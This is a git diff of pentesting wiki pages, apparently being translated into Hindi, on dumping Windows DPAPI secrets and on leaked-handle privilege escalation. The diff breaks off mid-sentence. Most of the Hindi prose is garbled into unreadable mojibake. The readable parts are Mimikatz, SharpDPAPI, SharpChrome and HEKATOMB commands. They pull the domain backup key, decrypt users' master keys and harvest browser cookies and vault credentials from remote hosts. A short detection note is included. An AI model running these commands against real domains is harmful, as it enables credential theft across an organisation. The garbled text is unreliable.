рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ RPC рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд┐рд░ рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рд╣рд▓ рдХрд░реЗрдЧреА рдФрд░ рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ smbclient рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдЧреА рддрд╛рдХрд┐ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рднреА DPAPI рдмреНрд▓реЙрдмреНрд╕ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рд╕рднреА рдХреЛ рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +- Windows рдХреНрд░реЗрдбреНрд╕ +- Internet Explorer рдФрд░ Google Chrome рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдСрдЯреЛ-рдХрдВрдкреНрд▓реАрд╢рди рдбреЗрдЯрд╛ +- Outlook рдФрд░ Windows Mail рдЬреИрд╕реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдИ-рдореЗрд▓ рдФрд░ рдЖрдВрддрд░рд┐рдХ FTP рдЦрд╛рддрд╛ рдкрд╛рд╕рд╡рд░реНрдб +- рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ, рд╕рдВрд╕рд╛рдзрдиреЛрдВ, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ Windows Vault рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб, рдЬрд┐рд╕рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬрд┐рдпрд╛рдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ +- рд░рд┐рдореЛрдЯ рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдиреЗрдХреНрд╢рдиреЛрдВ, .NET рдкрд╛рд╕рдкреЛрд░реНрдЯ, рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпрд╛рдБ +- рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ CryptProtectData рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбреЗрдЯрд╛, рдЬреИрд╕реЗ Skype, MSN рдореИрд╕реЗрдВрдЬрд░, рдФрд░ рдЕрдзрд┐рдХ +- рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмреНрд▓реЙрдм +- ... + +рд╕рд┐рд╕реНрдЯрдо рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +- Wifi рдкрд╛рд╕рд╡рд░реНрдб +- рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдп рдкрд╛рд╕рд╡рд░реНрдб +- ... + +### рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдирд┐рд╖реНрдХрд░реНрд╖рдг рд╡рд┐рдХрд▓реНрдк + +- рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡реЗ **рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдореЗрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +# Mimikatz +lsadump::backupkeys /system: /export + +# SharpDPAPI +SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] +``` +- рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде, **LSASS рдореЗрдореЛрд░реА** рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рд╕рднреА рдЬреБрдбрд╝реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ DPAPI рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдФрд░ SYSTEM рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗрдВред +```bash +# Mimikatz +mimikatz sekurlsa::dpapi +``` +- рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡реЗ рдорд╢реАрди рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **DPAPI_SYSTEM LSA рд░рд╣рд╕реНрдп** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +# Mimikatz +lsadump::secrets /system:DPAPI_SYSTEM /export +``` +- рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ NTLM рд╣реИрд╢ рдЬреНрдЮрд╛рдд рд╣реИ, рддреЛ рдЖрдк **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рд╕реАрдзреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: +```bash +# Mimikatz +dpapi::masterkey /in: /sid: /password: /protected + +# SharpDPAPI +SharpDPAPI.exe masterkeys /password:PASSWORD +``` +- рдпрджрд┐ рдЖрдк рдПрдХ рд╕рддреНрд░ рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╣реИрдВ, рддреЛ рдЖрдк DC рд╕реЗ **рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреИрдХрдЕрдк рдХреБрдВрдЬреА** рдорд╛рдВрдЧ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд▓рд┐рдП **рдЙрд╕рдХрд╛ рд╕рддреНрд░ рдЯреЛрдХрди рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ**: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` +## рд╕реВрдЪреА рд╡реЙрд▓реНрдЯ +```bash +# From cmd +vaultcmd /listcreds:"Windows Credentials" /all + +# From mimikatz +mimikatz vault::list +``` +## Access DPAPI Encrypted Data + +### Find DPAPI Encrypted data + +рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ **рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓реЗрдВ** рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рд╣реЛрддреА рд╣реИрдВ: + +- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` +- рдКрдкрд░ рджрд┐рдП рдЧрдП рдкрдереЛрдВ рдореЗрдВ `\Roaming\` рдХреЛ `\Local\` рдореЗрдВ рдмрджрд▓рдХрд░ рднреА рдЬрд╛рдВрдЪреЗрдВред + +Enumeration examples: +```bash +dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ +dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +``` +[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо, рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдФрд░ B64 рдмреНрд▓реЙрдм рдореЗрдВ DPAPI рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдмреНрд▓реЙрдмреНрд╕ рдХреЛ рдЦреЛрдЬ рд╕рдХрддрд╛ рд╣реИ: +```bash +# Search blobs in the registry +search /type:registry [/path:HKLM] # Search complete registry by default + +# Search blobs in folders +search /type:folder /path:C:\path\to\folder +search /type:folder /path:C:\Users\username\AppData\ + +# Search a blob inside a file +search /type:file /path:C:\path\to\file + +# Search a blob inside B64 encoded data +search /type:base64 [/base:] +``` +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (рдЙрд╕реА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ) рдХрд╛ рдЙрдкрдпреЛрдЧ DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдХреАрдЬрд╝ рдЬреИрд╕реА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + +### рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА рдФрд░ рдбреЗрдЯрд╛ + +- **SharpDPAPI** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рд░реНрддрдорд╛рди рд╕рддреНрд░ рд╕реЗ DPAPI рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ: +```bash +# Decrypt user data +## Note that 'triage' is like running credentials, vaults, rdg and certificates +SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect + +# Decrypt machine data +SharpDPAPI.exe machinetriage +``` +- **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** рдЬреИрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдбреЗрдЯрд╛ рдФрд░ guidMasterKeyред +```bash +mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 + +[...] +guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} +[...] +pbData : b8f619[...snip...]b493fe +[..] +``` +- **рдорд╛рд╕реНрдЯрд░рдХреА рддрдХ рдкрд╣реБрдБрдЪ**: + +RPC рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдорд╛рд╕реНрдЯрд░рдХреА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` +**SharpDPAPI** рдЯреВрд▓ рдорд╛рд╕реНрдЯрд░рдХреА рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЗрди рддрд░реНрдХреЛрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ `/rpc` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХрд╛ рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, `/password` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, рдпрд╛ `/pvk` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ DPAPI рдбреЛрдореЗрди рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛...): +``` +/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +/server:SERVER - triage a remote server, assuming admin access +/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) +``` +- **рдПрдХ рдорд╛рд╕реНрдЯрд░рдХреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ**: +```bash +# Mimikatz +dpapi::cred /in:C:\path\to\encrypted\file /masterkey: + +# SharpDPAPI +SharpDPAPI.exe /target: /ntlm: +``` +**SharpDPAPI** рдЯреВрд▓ `credentials|vaults|rdg|keepass|triage|blob|ps` рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЗрди рддрд░реНрдХреЛрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ `/rpc` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, `/password` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, `/pvk` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ DPAPI рдбреЛрдореЗрди рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛, `/unprotect` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛...) +``` +Decryption: +/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption +/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + +Targeting: +/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder +/server:SERVER - triage a remote server, assuming admin access +Note: must use with /pvk:KEY or /password:X +Note: not applicable to 'blob' or 'ps' commands +``` +- **рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ: +```bash +# Mimikatz +dpapi::blob /in:C:\path\to\encrypted\file /unprotect + +# SharpDPAPI +SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect +``` +### рдЕрдиреНрдп рдорд╢реАрди рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪреЗрдВ + +**SharpDPAPI рдФрд░ SharpChrome** рдореЗрдВ рдЖрдк **`/server:HOST`** рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рджреВрд░рд╕реНрде рдорд╢реАрди рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдЖрдкрдХреЛ рдЙрд╕ рдорд╢реАрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдпрд╣ рдорд╛рдирд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ **рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдЬреНрдЮрд╛рдд рд╣реИ**: +```bash +SharpDPAPI.exe triage /server:HOST /pvk:BASE64 +SharpChrome cookies /server:HOST /pvk:BASE64 +``` +## рдЕрдиреНрдп рдЙрдкрдХрд░рдг + +### HEKATOMB + +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ LDAP рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдирд┐рд╖реНрдХрд░реНрд╖рдг рдФрд░ RPC рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдХреЗ рдирд┐рд╖реНрдХрд░реНрд╖рдг рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд┐рд░ рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рд╣рд▓ рдХрд░реЗрдЧреА рдФрд░ рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ smbclient рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдЧреА рддрд╛рдХрд┐ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рднреА DPAPI рдмреНрд▓реЙрдмреНрд╕ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рд╕рдм рдХреБрдЫ рдбреЛрдореЗрди рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` LDAP рд╕реЗ рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреА рд╕реВрдЪреА рдХреЗ рд╕рд╛рде рдЖрдк рд╣рд░ рдЙрдк рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЖрдк рдЙрдиреНрд╣реЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реЛрдВ! -"рдХреНрдпреЛрдВрдХрд┐ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдЕрдзрд┐рдХрд╛рд░ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИрдВред рд╕рднреА рдХреЛ рд╣реИрдХ рдХрд░реЗрдВред" - -## DonPAPI +### DonPAPI [**DonPAPI**](https://github.com/login-securite/DonPAPI) рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ DPAPI рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддрд╛ рд╣реИред +### рд╕рд╛рдорд╛рдиреНрдп рдкрд╣рдЪрд╛рди + +- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` рдФрд░ рдЕрдиреНрдп DPAPI-рд╕рдВрдмрдВрдзрд┐рдд рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪред +- рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ C$ рдпрд╛ ADMIN$ рдЬреИрд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рд╢реЗрдпрд░ рд╕реЗред +- LSASS рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП Mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧред +- рдШрдЯрдирд╛ **4662**: рдПрдХ рд╡рд╕реНрддреБ рдкрд░ рдПрдХ рдСрдкрд░реЗрд╢рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +- рдЗрд╕ рдШрдЯрдирд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдХрд┐ рдХреНрдпрд╛ `BCKUPKEY` рд╡рд╕реНрддреБ рддрдХ рдкрд╣реБрдБрдЪ рдЧрдИ рдереАред + ## рд╕рдВрджрд░реНрдн - [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index 47ae14185..6ff7fddb5 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -4,22 +4,22 @@ ## Introduction -Handles in a process allow to **access** different **Windows resources**: +рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реИрдВрдбрд▓ рд╡рд┐рднрд┐рдиреНрди **Windows рд╕рдВрд╕рд╛рдзрдиреЛрдВ** рддрдХ **рдкрд╣реБрдБрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ: ![RootedCON2022 - Exploiting Leaked Handles for LPE](<../../images/image (246).png>) -There have been already several **privilege escalation** cases where a **privileged process** with **open and inheritable handles** have **run** an **unprivileged process** giving it **access to all those handles**. +рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХрдИ **privilege escalation** рдорд╛рдорд▓реЗ рд╣реБрдП рд╣реИрдВ рдЬрд╣рд╛рдБ рдПрдХ **privileged process** рдХреЗ **рдЦреБрд▓реЗ рдФрд░ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓рд┐рдП рдЧрдП рд╣реИрдВрдбрд▓** рдиреЗ **рдПрдХ unprivileged process** рдХреЛ **рдЪрд▓рд╛рдпрд╛** рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕реЗ **рдЙрди рд╕рднреА рд╣реИрдВрдбрд▓реНрд╕ рддрдХ рдкрд╣реБрдБрдЪ** рдорд┐рд▓реАред -For example, imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also creates a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**. +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬреЛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА рд╣реИ рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЦреЛрд▓рддреА рд╣реИ** (`OpenProcess()`) **рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ** рдХреЗ рд╕рд╛рдеред рд╡рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдПрдХ рдирдИ 